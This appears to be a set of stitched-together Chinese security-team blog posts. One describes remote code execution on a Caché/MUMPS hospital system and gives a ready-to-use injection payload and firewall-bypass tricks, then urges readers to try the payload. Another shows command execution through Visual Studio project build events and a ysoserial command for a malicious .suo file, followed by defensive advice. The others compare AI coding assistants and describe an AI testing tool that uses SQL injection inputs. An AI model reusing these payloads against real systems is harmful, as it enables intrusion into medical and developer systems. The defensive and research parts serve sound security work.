往期推荐

Tide团队产品及服务

0x01 前言

前段时间在做测试时遇到了一套His系统，使用的Caché作为数据库、M作为程序语言，使用AI配合对参数的挖掘，也是实现了从注入到RCE的过程；由于针对Caché/M的安全研究搜索了全网的资料发现仅有几篇、国内医疗系统提供商东华内部Caché/M的占比不低，因此分享我此次测试过程，希望能够对各位大佬做医疗领域的攻防时有些帮助。

由于时间过去很久，主页截图已经无了，分享就直接从数据包开始。原生数据包如下：

POST /imedical/web/csp/dhc.bdp.ext.datatrans.csp?pClassName=web.DHCBL.CT.SSUser&pClassMethod=GetTreeJson HTTP/1.1
Host: 
Connection: keep-alive
Content-Length: 60
Origin: 
X-Requested-With: XMLHttpRequest
User-Agent: 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8;q=0.8
Cookie: 
Type=CTPCPSpecDR&hospid=2&limit=20&ParentID=TreeRoot

漏洞证明：

0x02 初步测试

原始响应:

{"data":"正常数据"}

看到id肯定要试试注入测试。先试试一个双引号。

Type=CTPCPSpecDR&hospid=2"&limit=20&ParentID=TreeRoot

Error
...
Error: <b>&lt;SYNTAX&gt;zCMExecute+5^web.BDP.sys.Broker.1</b><br>
ErrorNo: <b>5002</b><br>
CSP Page: <b>/imedical/web/csp/dhc.bdp.ext.datatrans.csp</b><br>
Namespace: <b>DHC-APP</b><br>
Class: <b>web.BDP.sys.Broker</b><br>
Routine: <b>web.BDP.sys.Broker.1</b><br>
Location: <b>zCMExecute+5</b><br>
Line: <b> 	XECUTE myMethod</b><br>

发现这个报错，会是数据库报错吗？再试试

Type=CTPCPSpecDR&hospid=2""&limit=20&ParentID=TreeRoot

{"data":"正常数据"}

Type=CTPCPSpecDR&hospid=2"""&limit=20&ParentID=TreeRoot

Error
...
Error: <b>&lt;SYNTAX&gt;zCMExecute+5^web.BDP.sys.Broker.1</b><br>
ErrorNo: <b>5002</b><br>
CSP Page: <b>/imedical/web/csp/dhc.bdp.ext.datatrans.csp</b><br>
Namespace: <b>DHC-APP</b><br>
Class: <b>web.BDP.sys.Broker</b><br>
Routine: <b>web.BDP.sys.Broker.1</b><br>
Location: <b>zCMExecute+5</b><br>
Line: <b> 	XECUTE myMethod</b><br>

Type=CTPCPSpecDR&hospid=2""""&limit=20&ParentID=TreeRoot

{"data":"正常数据"}

嗯？难道是SQL注入？那我岂不是

然而现实给我我迎头重击，sqlmap无论换什么姿势都跑不出，回头一看sqlmap不支持Caché，，，手注也没有办法，回到报错仔细研究了下。看到报错里有关键字，Line: <b> XECUTE myMethod</b><br>，上网搜索了一下XECUTE,确定为Caché数据库，那么问题出在哪了。难道是下图里的"M"程序的问题？

0x03 MUMPS语言和Caché

看了不得不了解一下M语言了。

在程序语言领域，从我们这一代作为初学者时开始，语言和数据库，好像从来都是分离的。最多就是一些语言和数据库的强关联，例如Java和Oracle，.NET和Sqlserver等等。Mysql诞生于1995年，Oracle诞生于1970，Sqlserver诞生于1980年左右。然而在20世纪60年代，有这么一群不堪忍受病房病例和病人信息记录效率底下的程序员，开发出了数据库和语言为一体的语言--M语言。M语言诞生后因为其高性能的特性，迅速风靡了整个医疗领域，在国内外都有它的身影。1997年，InterSystems公司基于M语言推出了M语言编写的数据库--Caché。为Caché数据库添加了面向对象、SQL支持和高性能缓存技术。由于垂直领域的特性和性能原因，直到今天，Caché在国内外医疗领域依然占有相当大的份额。

0x04 极速与极简-“精打细算”的语言

以Python为对照，M语言的许多值均可进行缩写，例如SET可以缩写为S等等，常见语法和缩写参见下表。

了解了部分M语言语法后，下一步需要了解关于受测系统的设计模式怎样的。

0x05 万能插口-Broker架构的短板

在报错中，我注意到一个频繁出现的关键词Broker

Error
...
Error: <b>&lt;SYNTAX&gt;zCMExecute+5^web.BDP.sys.Broker.1</b><br>
ErrorNo: <b>5002</b><br>
CSP Page: <b>/imedical/web/csp/dhc.bdp.ext.datatrans.csp</b><br>
Namespace: <b>DHC-APP</b><br>
Class: <b>web.BDP.sys.Broker</b><br>
Routine: <b>web.BDP.sys.Broker.1</b><br>
Location: <b>zCMExecute+5</b><br>
Line: <b> 	XECUTE myMethod</b><br>

如果你用过插座，你就能理解Borker。插座不关心插头连接的是什么电器，插座只需要提供电流就可以。类比到编程里，前端的请求在后端，只需要前端请求里携带好类名，方法名，参数，直接去后端找相关的业务逻辑。在M语言的设计里，这个过程更加便捷，通过上表清楚XECUTE可以直接将字符串当作代码运行，只需要用以下代码，就可以实现一个前后端之间的"插座"。

XECUTE"d ##class("_pClassName_")."_pClassMethod_"(args)"

而在传统的MVC架构中，这个过程可能需要Controller，路由映射来协助完成。

@("/GetPatient")
method1
@("/DeletePatient")
method2
...

相当于将Java反射从后端搬到了前端来，省去了配置路由等等的工作过程，为开发省去了代码量。而眼下这套医疗系统，貌似使用了同样的手法；那么，代价是什么呢？ 分析系统环境请教AI大人后，得到后端的代码可能如下:

有这么一群神通广大的贵Coder，没有做插座的任何“断电保护”，导致房间失火。

测试发现系统在进入函数调用、数据查询前，对用户输入没有任何过滤，当hospid等于");s a="(，返回的响应是正常数据。

这个时候对应位置的代码就变成了:

在s　myMethod　=　"d　##class("_pClassName_")."_pClassMethod_"("_type_","");和s a =("")"之间，为我们留下了代码注入空间，这时候只需要使用以上表格的对应M代码来完成注入即可。

Payload即")　s　f="tmp.txt"　d　$zf(-1,"whoami　>　"_f) s t=##class(%Stream.FileCharacter).%New()　d　t.LinkToFile(f) w "Result:[",t.Read(),"]" d t.%Close() n o s o=##class(%File).Delete(f) s a=("

进行拆解:

获得响应

HTTP/1.1 200 OK
Result:[nt authority\system
]{data:{正常数据}

0x06 薛定谔的注入-从SQL注入到代码注入的判断

在我此前的经验中，对于一般参数的sql注入判断也是通过逐次+1输入双引号/单引号来做的，这次误打误撞实现了代码注入，其实有很大运气成分；问了AI，在M语言中，想要在字符串中表示一个双引号，需要用另一个双引号来转义，这就成为了和我的经验同样的效果。为了便于理解，接下来被转义的双引号我使用\"来表示

当我输入2"时，s　myMethod　=　"d　##class("_pClassName_")."_pClassMethod_"("_type_","2"")",语句中原本用于闭合用户输入的右双引号，被用户输入的双引号转义为了一个字符串中的双引号。这里的字符串就变成了2",而XEXCUTE执行时的语句就变成了d　##class("_pClassName_")."_pClassMethod_"("_type_","2\")，能发现后面还缺一个引号闭合语句，导致了报错

所以当我输入2""，"d　##class("_pClassName_")."_pClassMethod_"("_type_","2""")",XEXCUTE执行时的语句就变成了d　##class("_pClassName_")."_pClassMethod_"("_type_","2\""),后面同样存在一个引号闭合语句，编译通过。因此造成了SQL注入的错觉。

0x07 常见利用

当小伙伴们在医疗系统（尤其是东华）测试遇到引号闭合但是sql注入换多个payload，sqlmap跑不出结果时，不妨试试M代码注入。

在遇到类似的回显报错时，可以直接使用我的payload尝试。

无回显出网时，可以使用以下Payload进行测试

利用M语言来进行文件读取

数据库操作

WAF绕过可用到的特性

Caché所使用的连接符:_ 从ASCII码获取字符函数: $c()

例如SET关键词被过滤，就可以用$c(83)_$c(101)_$c(116)代替。

今天关于Caché的分享就到这里了。

0x08 参考链接

https://mp.weixin.qq.com/s/8W4gNjDbdB0GnWE4QNzIQQ

https://mp.weixin.qq.com/s/stSlpohH3Fl8_9qayYfihQ

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

免责说明：本文所呈现之内容，皆为本人在使用AI工具过程中的实际体验与对效果的客观描述。旨在分享使用感受与技术探索，不存在任何刻意拉踩、侮辱或恶意营销的意图。文中涉及的网站、代码及数据均来源于本地的靶场环境。这些内容仅用于技术研究、学习交流等合法合规的目的，并未对任何第三方平台、服务或个人造成不良影响或侵害其权益。

开头一个小故事：

起因是我的云服务器快到期了，去年用对象的学生身份租了一年，就想上华为云看看现在的价位，刚刚登上就弹出了云码道（codeArts）的广子，对于喜欢渐变色的我来说太有吸引力了，然后就下载下来用试一试（诶，我一开始想过干啥来着？。。。） 让我们欢迎两位出场嘉宾！啪啪啪啪啪哦~~~~~

一、官网下载

通义灵码https://lingma.aliyun.com/download

云码道https://www.huaweicloud.com/product/codearts/download.html

注意登录账号时候有个自动续费，这里我点着急了，忘了可不可以把自动续费点下去，反正记得从控制台上把它关了，如图（有钱的佬可以不关，但如果可以请给兄弟们介绍几个富婆）

二、智能体功能对比

安装完进去，基本功能都大差不差，云码道多了“猜你想问“和”更新代办”。

要提一嘴，通义灵码对有代码改动的地方会提示，个人很喜欢这个功能，可以借此学习原本代码哪里有问题，红色的是删除的，绿色的是新增

三、实践一下

1、我要解决的问题-以优化扶摇（fuyio）功能为例

1. 批量扫描执行生成的结果文件会按url拆分成多个文件，我希望不要再拆分了，每个任务每次只会生成一个文件。

2. 优化生成的HTML文件，增加导航功能我现在报告生成是这样的，批量执行完后，会每个给url生成文件，这样会导致如果一次扫十几个url，生成的文件个数过多，而且能看出来现在的报告没有快捷导航标签，查看也不是那么的方便，那么分别让两个智能体在此基础上进行修改，看看结果。

2、利用AI实现第一个功能

第一次对话：

修改代码，批量扫描时，只生成一个敏感文件.txt和一个详细匹配报告.html,里面包含所有扫描的url以及结果。不要再每扫描一个url就生成一个文件了。

第一次结果 通义灵码：程序报错！

看一下生成的报告，html文件的数量没问题说明满足了我的需求，但txt文件生成有问题仅有一个url的内容且程序报错

云码道：不报错，的确生成了一个文件。

看一下生成的报告，有问题，怎么只有一个URL的，并且和通义灵码一样txt也是只有一个url的内容

第二次对话：

to灵码：bababablalala（此处省略无数个报错信息）NameError: name 'base_url' is not defined程序执行后报错了

to云码道：现在生成的敏感文件.txt和详细匹配报告.html文件里只有一个URL的，没有记录到第二个URL的内容，请修改

第二次结果通义灵码不报错了生成的文件也没有问题，提示的信息有点多，这个就回头手动改吧（去掉print再懒就要变成树袋熊了）

云码道报错了且没有生成对应文件！（好好好，你俩此起彼伏的）

第三次对话：

to灵码：敏感信息.txt里只有一个URL的内容

to云码道：babababababbabababablalalallalala(此处省略无数个报错信息）TypeError: cannot unpack non-iterable NoneType object修改这个报错

第三次结果灵码已经实现所有功能

云码道：不报错了，但文件里还只有一个url

第四次对话（仅对云码道）：

生成的敏感信息.txt和详细匹配报告.html里只有一个URL的内容，没有把其他扫描的信息保存下来，请修改并注意不要引起报错

结果失败，效果没有变化

第五次对话（仅对云码道）：

依旧没有把后续检测到的url内容保存下来，根据debug信息，最后合并时，检测的url是index1.html但是显示的确实如下balabalbalbala（此处省略无数个报错信息）

结果失败，效果没有变化。失去耐心，就这样吧

对比一下两个的使用结果：

3、利用AI实现第二个功能

第一次对话：

请修改程序生成的详细匹配报告.html，在左侧增加一个导航栏：一级目录按 URL 区分，二级目录按每个 URL 命中的标签（如密码泄露、数据库语句）区分，点击 URL 或标签能跳转到报告中的对应位置。

第一次结果-都没有按url区分而是js文件名区分，可能是我表述问题 通义灵码结果

云码道结果-没有目录折叠这个功能，个人不喜

第二次对话：

再次修改这个功能，我希望是每个基础URL下的二级目录是才js路径，然后三级下是标签类型。比如我扫描的是http://1.com，该网站下有222.js，那么最后生成的html导航结构为一级目录http://1.com二级目录222.js三级目录是标签类型

第二次结果通义灵码成功实现

云码道报错！

第三次对话（仅对云码道）：

程序报错Traceback (most recent call last): balabalabala此处省略无数个报错信息）

第三次结果-云码道成功！

再次对比一下两个的使用结果：

4、总结一下

根据结果，通义灵码（Lingma）实现的成功率更高，但使用代码量更多，云码道（codeArts）代码更精简，但要经过更多次的提示才可以达到预定效果。可以说各有利弊。

四、个人心得

使用ai的确可以使效率提升显著，AI的特点能够快速扫描代码，迅速定位潜在的问题，并提供修改建议，这的确非常让人省心。但AI的修改建议并不总是完全准确的，比如之前我可能只有一个变量名或者函数名写错了导致报错，ai给出的修复建议可以说是谬之千里，最终还是要靠人来进行修改。ai是好伙伴、好老师、好工具但不它永远不是ourselves。

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

0x01 背景

最近在网上冲浪时发现曾哥团队推送了这样一则消息：

使用VS项目进行钓鱼，一番搜索发现去年10月存在同样的APT投毒项目，海莲花组织注册Github账号Jiefeng伪装为国内安全研究员，发布项目Cobalt Strike最新提权插件源码吸引受害者编译。并利用.suo文件反序列化漏洞触发恶意代码执行。

关于VS钓鱼为什么越来越猖獗，有以下几个原因

1. 微软并不认为.suo反序列化等问题是漏洞，所以不会修复

2. VS项目多处可以命令执行

3. 使用VS项目进行命令执行本身具备免杀效果

本文从命令执行与防御两个角度展开，学习红队大佬受害记针对安全从业者的攻与防。

0x02 命令执行

根据利用难度，我分为需要编译和1click两个模块

需要编译

以c++项目为例，对应项目文件为.vcxproj，其他语言的项目配置如.vbproj、.csproj没有做相关实验，感兴趣的读者可以自行尝试~

.vcxproj

• 方式1

新建一个c++项目，打开项目名.vcxproj文件，添加以下代码

<ItemDefinitionGroup>
<PostBuildEvent>
<Command>calc</Command>
</PostBuildEvent>
</ItemDefinitionGroup>

编译vs项目执行

• 方式2

同上.vcxproj文件中加入

<TargetName="GetFrameworkPaths">
<ExecCommand="notepad" />
</Target>

编译执行

项目配置命令执行

解决方案管理器右键项目名称-属性-如图所示位置

以下三个事件都可用于命令执行

需要在输出处输入内容

以上方式在编译后均可执行代码，添加这些编译属性后，vs会在项目名.vcxproj自动生成代码，由此可以看出，在背景中提到的Anydesk投毒正是在这里进行利用，需要编译恶意载荷才会运行。

1click

.suo文件利用

项目推荐（用于生成恶意.suo文件）：

• .suo文件反序列化漏洞利用工具: https://github.com/Brassinolide/VS_Deserialize_Exploit

• .net安全矩阵知识星球 Sharp4suopoc.exe

利用流程

1.新建项目，以c++项目为例，打开视图->工具箱，搜索栏搜索类视图（其他窗口可能可以，没有做尝试）、属性，将三者钉在主页

鼠标点击类视图，然后关闭项目。（聚焦此处）

简单说一下以上做法的原因：

• 打开视图工具箱：确保项目加载vstoolboxservice类，反序列化调用链触发点在此

• 点击类视图触发窗口聚焦：在 @crackme.net 大佬的帮助下，了解到一条在窗口聚焦功能的漏洞触发链。

2.ysoserial.exe生成反序列化载荷

ysoserial -g ClaimsIdentity -f BinaryFormatter -c calc -o base64 -bgc TypeConfuseDelegate

3.使用工具生成恶意.suo（以VS_Deserialize_Exploit工具为例）

>VS_Deserialize_Exploit.exe
输入suo文件路径
路径\.suo
输入payload
ysoserial生成的数据
成功，文件已保存到 evil.suo

替换项目下的.suo文件即可（.suo文件一般在项目根目录/.vs/项目名/v16或v17/路径下），替换后打开项目，无需编译恶意代码即执行。

.suo文件优势在于隐蔽性高（.文件开头），无明显攻击语句（反序列化数据），使用一次后即销毁。

利用类型库进行1click攻击

需要的大牛可以看看链接：https://xz.aliyun.com/news/13871#:~:text=%E5%AE%83%E6%89%8D%E8%A7%A6%E5%8F%91%EF%BC%9F-,0X09%20%E6%9F%A5%E7%9C%8B%E4%BB%A3%E7%A0%81%E6%97%B6%E5%8A%A0%E8%BD%BD%E6%81%B6%E6%84%8F%E7%B1%BB%E5%9E%8B%E5%BA%93,-%E9%A6%96%E5%85%88%EF%BC%8C%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD

0x03 防御

• 不打开来源不可信的项目文件

• 运行项目前检查.vcxproj/.vbproj/.csproj等文件是否存在命令执行、加载未知资源的恶意代码

• 打开项目前删除.vs文件目录

• 使用工具 https://github.com/backengineering/CheckEvilSln 检查项目

0x04 参考链接

https://crackme.net/articles/evil_sln/ 

https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A 

https://xz.aliyun.com/news/13871 

https://www.secrss.com/articles/74468 

https://www.ch35tnut.com/zh-cn/research/apt/ocean_lotus/suo/ 

https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

一、为什么做这个工具？

软件测试是开发流程中不可或缺的一环，但现实中它往往是最痛苦的环节：

• 手工测试：重复枯燥，依赖测试人员经验，容易遗漏边界场景

• 传统自动化（Selenium/Playwright）：需要编写大量测试脚本，页面一改脚本就废，维护成本极高

• AI 辅助测试：市面上的方案大多停留在"AI 生成测试用例文本"，仍需人工执行

有没有一种方案，能让 AI 真正动手操作浏览器，像一个资深测试工程师一样，自主探索系统、发现问题、生成用例？

为此我们尝试做了TestFlow——一款自动化功能测试工具。更重要的是，这种方法并不局限于传统的软件功能测试，还可以自然扩展到更多安全与质量场景，比如渗透测试、配置核查、安全分析等，让 AI 直接参与系统交互，从“写用例”进化为“做测试”。

二、TestFlow 是什么？

TestFlow 是一款 AI 驱动的全自动软件功能测试桌面工具。它的核心理念是：

让大模型充当测试工程师，自主完成"看页面 → 做判断 → 执行操作 → 记录结果"的完整闭环。

你只需要提供：

1. 被测系统的 URL

2. 登录账号密码（如需要）

3. 选择一个 AI 模型

点击"开始测试"，TestFlow 就会自动启动浏览器，像真人一样逐页面、逐功能地进行测试，并实时生成标准化测试用例。

核心特性一览

• 零脚本：不需要写一行测试代码

• AI 自主决策：大模型自主规划测试路径、设计测试用例

• 多模态感知：截图 + DOM 双通道理解页面

• 实时可视化：浏览器画面实时同步到界面

• 标准化输出：自动生成符合 GB/T 25000 标准的 Excel 测试报告

• 多模型支持：OpenAI、Claude、DeepSeek、豆包、Ollama、vLLM 等 提供商

• 单文件部署：编译为单个 EXE，开箱即用

三、系统架构

TestFlow 采用 Go + Wails v2 + Vue 3 的三层架构

3.1 为什么选择这套技术栈？

选型	理由
Go	编译为原生二进制，无运行时依赖；goroutine 天然适合并发处理 AI 流式响应 + 浏览器控制
Wails v2	Go 生态的 Electron 替代品，生成的 EXE 体积仅 ~15MB（Electron 动辄 150MB+）
Vue 3 + Element Plus	成熟的企业级 UI 方案，三栏布局开发效率高

3.2 前后端通信机制

Wails 的独特之处在于它不走 HTTP，而是通过 Go 方法绑定 直接暴露后端函数给前端 JavaScript 调用： 前端直接调用，就像调本地函数一样： 实时数据（截图、用例、AI 流式输出）则通过 Wails EventsEmit 从 Go 端推送到前端：

四、AI 自主测试循环引擎

TestFlow 最核心的创新点 —— Autonomous Test Loop。

4.1 循环流程

整个测试过程是一个不断循环的闭环：

第一步：页面感知 — 通过 go-rod 截取浏览器截图，同时提取页面所有可交互元素（按钮、输入框、链接等）的结构化 DOM 信息。

第二步：AI 分析 — 将截图和 DOM 数据连同历史上下文一起发送给多模态大模型。AI 会分析当前页面状态，决定下一步操作。

第三步：JSON 解析 — AI 返回严格的 JSON 格式响应，包含要执行的操作、生成的测试用例、当前观察和下一步计划。

第四步：执行操作 — 在浏览器中执行 AI 指令的操作：点击按钮、填写表单、选择下拉框、页面滚动等。

第五步：用例生成 — 如果 AI 判断当前操作构成一个完整的测试场景，自动生成标准化测试用例。

第六步：循环判断 — 检查是否满足终止条件（AI 声明完成 / 达到用例上限 / 用户手动停止），否则回到第一步继续。

4.2 AI 响应的结构化协议

TestFlow 设计了一套精确的 JSON 协议来约束 AI 的输出：

这套协议的巧妙之处在于：

• 操作与用例解耦：不是每次操作都生成用例，导航等操作设置 generate: false

• 批量操作支持：通过 actions 数组支持表单填写等多步连续操作，减少 AI 交互轮次

• 自终止机制：AI 通过 is_finished: true 自主声明测试完成

4.3 智能对话历史管理

在长时间测试中，对话历史会不断增长，可能超出模型的上下文窗口。TestFlow 实现了两个关键优化：

上下文裁剪：当消息历史超过 42 条时，自动保留最近 40 条，确保不超出 Token 限制：

已测功能摘要注入：每轮交互会将已测过的模块和用例名称注入到提示中，告诉 AI "这些已经测过了，不要重复"：

【已测试功能摘要（勿重复）】
- 登录认证: 空用户名空密码, 错误密码, SQL注入, 正确登录
- 用户管理: 新增用户, 编辑用户, 删除用户

再配合内存中的 testedKeys 去重 Map，实现双重防重复机制。

五、多模态页面感知系统

TestFlow 如何"看懂"一个网页？这是另一个核心技术点。

5.1 DOM 结构化提取

TestFlow 通过注入 JavaScript 代码，提取页面所有可交互元素的关键属性：

每个元素提取 tag、id、class、text、type、placeholder 等属性，最终组成一个结构化 JSON 数组，让 AI 精确知道页面上有哪些可操作的元素。

5.2 智能模式（Smart Mode）

默认推荐的智能模式会根据页面复杂度自动切换：

• DOM 可交互元素 ≥ 10 个：仅用 DOM 数据，速度快、省 Token

• DOM 元素稀少（**< 10 个**）或 连续 DOM 模式已达 5 轮：自动加入截图，借助视觉能力补充理解

这在实际使用中非常实用：管理后台的表单页面元素密集，DOM 模式完全够用；而某些可视化大屏、图表页面需要截图才能理解。

5.3 视觉能力自动降级

不是所有模型都支持图片输入。TestFlow 内置了视觉能力检测：

当检测到模型不支持视觉时，自动剥离消息中的图片内容，降级为纯文本 DOM 模式。这使得纯文本模型（如 DeepSeek-Chat）也能正常使用。

六、AI 提供商覆盖

TestFlow 采用 OpenAI Chat Completions 协议 作为统一通信标准。由于主流 AI 提供商（包括国产的 DeepSeek、豆包）都兼容这套协议，一个 HTTP 客户端即可适配所有提供商。

关键的差异化处理包括：

认证头自动适配：

消息格式智能序列化：当消息只包含文本时，content 字段序列化为字符串（兼容性最广）；包含图片时，自动切换为数组格式：

支持 本地私有化部署（Ollama、vLLM）也是一个重要考量 —— 在数据安全敏感的场景下，所有数据都可以在内网流转，不出企业边界。

七、提示词工程：AI 测试的"灵魂"

提示词是控制 AI 测试行为的核心。TestFlow 内置了一套精心设计的系统提示词，赋予 AI "资深测试工程师"的角色。

7.1 五大测试方法自动应用

提示词中内嵌了标准软件测试方法论，AI 会自动运用：

1. 等价类划分 — 有效/无效输入分类测试

2. 边界值分析 — 最小值、最大值、超长输入

3. 场景法 — 完整业务流程走通

4. 错误推测法 — SQL 注入、特殊字符

5. 判定表 — 多条件组合

7.2 "先异常后正常"的铁律

这是提示词设计中的一个关键策略：

任何含表单的页面，必须先穷举异常场景，最后才执行正向流程。

为什么？因为一旦正向操作成功（比如登录成功跳转），当前页面的异常测试机会就永久丢失了。以登录页面为例，AI 会严格按这个顺序执行：

顺序	场景	方法
1	全空直接提交	等价类-无效
2	空用户名+任意密码	等价类-无效
3	任意用户名+空密码	等价类-无效
4	不存在账号+任意密码	等价类-无效
5	正确用户名+错误密码	等价类-无效
6	SQL注入 ' OR 1=1--	错误推测
7	超长用户名(>100字符)	边界值
8	正确账号密码登录	场景法-正向

7.3 AI 智能生成定制化提示词

除了内置默认提示词，TestFlow 还支持 用 AI 生成针对特定系统的定制提示词：

输入系统名称和 URL，AI 会推测系统类型（电商？OA？CMS？），自动调整测试策略和功能模块描述。

八、浏览器操作引擎

TestFlow 支持 7 种浏览器操作类型：

操作类型	说明	典型场景
click	点击元素	按钮、链接、菜单项
input	输入文本	表单填写
select	选择下拉项	下拉框选择
navigate	页面跳转	URL 导航
scroll	滚动页面	懒加载内容
hover	鼠标悬停	展开下拉菜单
wait	等待	页面加载

8.1 智能元素定位

一个有趣的技术细节：AI 有时会生成 jQuery 风格的 :contains('文字') 选择器，但原生 querySelector 不支持。TestFlow 实现了透明兼容：

当检测到 :contains 时，自动转换为 JavaScript 查询，遍历候选元素找到包含指定文字的那个。

8.2 高速表单输入

传统的浏览器自动化通常逐字模拟键盘输入，速度很慢。TestFlow 使用 JavaScript 直接设置 value，再触发框架事件：

这确保了 React、Vue 等框架都能正确响应值变化，同时速度提升数十倍。

九、测试用例自动生成

测试完成后，一键导出专业的 Excel 测试报告：

• 测试汇总页：总用例数、通过/失败/阻塞统计、各模块汇总表

• 按模块分Sheet：每个功能模块独立一个工作表

• 完整字段：编号、模块、名称、前置条件、步骤、预期/实际结果、状态、优先级、测试方法

• 状态着色：通过为绿色、失败为红色，一目了然：

最终测试用例示例

十、使用指南

10.1 快速开始

1. 下载：获取 TestFlow.exe（单文件，无需安装）

2. 启动：双击运行，主界面自动打开

3. 配置 AI：在设置页选择 AI 提供商，填入 API Key（使用 Ollama 本地部署则无需 API Key）

4. 填写信息：在主界面左侧填入被测系统的 URL、用户名、密码

5. 开始测试：点击"开始测试"，坐等结果

10.2 界面布局说明

主界面采用三栏布局，可拖拽调整宽度：

区域	内容
左栏	系统信息表单 + AI 实时响应流（JSON 格式化展示）
中栏	浏览器实时截图 + 操作日志
右栏	测试进度日志 + 按模块分组的用例列表

10.3 提示词定制

在提示词管理页面，你可以：

• 查看和编辑默认提示词

• 创建针对特定系统的自定义提示词

• 使用"AI 生成"功能，让 AI 根据系统信息自动生成定制提示词

写在最后

在软件工程的历史中，每一次生产力的跃迁，都会重新定义“人”的角色。从手工编码到自动化框架，从脚本驱动到模型驱动，我们正在经历又一次范式转变。

AI 不再只是辅助工具，它正在逐步成为真正的“执行者”。像 TestFlow 或者我们之前的 【自动化渗透测试工具】 这样的探索，本质上是在回答一个问题：当机器可以理解界面、做出判断并完成操作时，人还应该做什么？

答案或许已经逐渐清晰—— 未来，重复性的执行工作会越来越多地交给 AI，而人的核心价值，将从“亲自做事”转变为“设计规则、驾驭工具、放大效率”。

工程师不会消失，只是不再需要重复的去写测试用例、逐项测试、逐项配置核查、逐个测试结果分析，但会进化为测试策略的设计者、AI 行为的引导者、质量体系的守护者。

AI 时代已经到来，它不会取代所有人，但一定会取代那些只停留在重复劳动中的工作方式。 真正重要的，不是与 AI 竞争，而是学会如何利用 AI，让自己站在更高的效率杠杆之上。

